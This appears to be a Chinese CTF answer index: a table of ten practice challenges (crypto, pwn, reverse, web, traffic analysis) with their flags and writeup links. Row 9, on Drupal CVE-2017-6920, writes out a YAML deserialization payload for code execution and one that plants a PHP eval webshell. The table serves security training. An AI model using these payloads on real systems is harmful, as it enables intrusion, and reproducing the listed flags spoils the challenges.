[标题搜索]只能搜索题目标题，[综合搜索]支持多关键词多项目搜索（以空格分隔）。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | BUUCTF | Crypto | 大帝的密码武器 | flag{PbzrPuvan} | https://blog.csdn.net/GuChengAi/artic... | - | 8817 |
| 2 | BUUCTF | Pwn | ciscn_2019_s_3 | 无 | https://www.cnblogs.com/wudiiv11/p/bu... | - | 8193 |
| 3 | bugku | PWN | 4mats | SEE{4_f0r_4_f0rm4t5_0ebdc2b23c751d965866afe115f309ef} | https://sn0ox.com/writeup/2022/06/05/... | SEETF2022 | 1859 |
| 4 | CTFHUB | Reverse | 二次设备固件逆向 | flag{icspwd} | http://www.1o1o.xyz:8080/CSDN/ctfhubw... | 工业信息安全技能大赛 | 9967 |
| 5 | NSSCTF | REVERSE | [yeran]easy_C | NSSCTF{easy_Re} | https://www.cnblogs.com/Zer0o/article... | - | 12037 |
| 6 | ctfshow | PWN入门.Test_your_nc | pwn2 | ctfshow{2381bb9a-5bbb-4f89-8db5-a695ca89e042} | https://blog.csdn.net/2402_84133101/a... | Test_your_nc | 4857 |
| 7 | NSSCTF | 流量分析 | [陇剑杯 2023]Hacked（一） | 80,888,8888 | https://zhuanlan.zhihu.com/p/69244794... | 陇剑杯 | 11646 |
| 8 | 春秋云境 | WEB | CVE-2023-1313 | flag{701b1392-3382-45f8-8503-3731fc1c90aa} | https://blog.csdn.net/weixin_49064458... | 春秋云境 | 14418 |
| 9 | 春秋云境 | WEB | CVE-2017-6920 | Drupal版本小于8.3.4时，可通过在后台配置导入处提交YAML反序列化Payload实现远程代码执行。典型的验证Payload为：!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"，导入后执行phpinfo函数即证明漏洞存在 1。在CTF题目中，常利用该反序列化链写入Webshell，例如使用自定义类：!php/object O:3:"log":2:{s:8:"filename";s:5:"1.php";s:7:"content";s:24:"<?php eval($_POST [1](@ref));?>";}。 | https://www.cnblogs.com/J1eula/p/1769... | 春秋云境 | 14748 |
| 10 | BUUCTF | Pwn | x_nuca_2018_0gadget | 无 | https://blog.csdn.net/qq_25201379/art... | - | 8758 |